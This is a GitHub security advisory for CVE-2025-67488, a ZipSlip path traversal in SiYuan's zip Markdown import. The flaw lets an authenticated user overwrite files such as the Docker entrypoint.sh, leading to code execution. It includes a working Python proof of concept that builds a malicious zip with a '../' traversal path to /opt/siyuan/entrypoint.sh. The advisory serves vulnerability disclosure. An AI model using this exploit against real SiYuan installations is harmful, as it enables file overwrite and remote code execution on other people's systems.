Skip to content

SiYuan: ZipSlip -> Arbitrary File Overwrite -> RCE

High severity GitHub Reviewed Published Dec 8, 2025 in siyuan-note/siyuan • Updated Dec 9, 2025

Package

gomod github.com/siyuan-note/siyuan/kernel (Go)

Affected versions

<= 0.0.0-20251202123337-6ef83b42c7ce

Patched versions

None

Description

Summary

Function importZipMd is vulnerable to ZipSlip which allows an authenticated user to overwrite files on the system.

Details

An authenticated user with access to the import functionality in notes is able to overwrite any file on the system, the vulnerable function is importZipMd, this can escalate to full code execution under some circumstances, for example using the official docker image it is possible to overwrite entrypoint.sh and after a container restart it will execute the changed code causing remote code execution.

PoC

Code used to generate the ZipSlip:

#!/usr/bin/env python3
import sys, base64, zipfile, io, time

def prepare_zipslip(filename):
    orgfile1 = open('Test.md','rb').read()
    payload =  open('entrypoint.sh','rb').read() #b"testpayload"
    
    zipslip = io.BytesIO()
    with zipfile.ZipFile(zipslip, 'w', compression=zipfile.ZIP_DEFLATED) as zipf:        
        info = zipfile.ZipInfo('Test.md')
        mtime = time.time()
        t = time.localtime(mtime)
        info.date_time = (t.tm_year, t.tm_mon, t.tm_mday, t.tm_hour, t.tm_min, t.tm_sec)
        zipf.writestr(info, orgfile1)
        
        info = zipfile.ZipInfo(filename)
        mtime = time.time()
        t = time.localtime(mtime)
        info.date_time = (t.tm_year, t.tm_mon, t.tm_mday, t.tm_hour, t.tm_min, t.tm_sec)
        zipf.writestr(info, payload)
    return zipslip.getvalue()

gz = prepare_zipslip('../../../../../../../../../../opt/siyuan/entrypoint.sh')
open('exp.zip', 'wb').write(gz)

Impact

The exploit is possible only if the attacker has access to import functionality. It's possible to achieve code execution and some persistence within the container

References

@88250 88250 published to siyuan-note/siyuan Dec 8, 2025
Published to the GitHub Advisory Database Dec 9, 2025
Reviewed Dec 9, 2025
Published by the National Vulnerability Database Dec 9, 2025
Last updated Dec 9, 2025

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

EPSS score

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.

CVE ID

CVE-2025-67488

GHSA ID

GHSA-gqfv-g4v7-m366

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.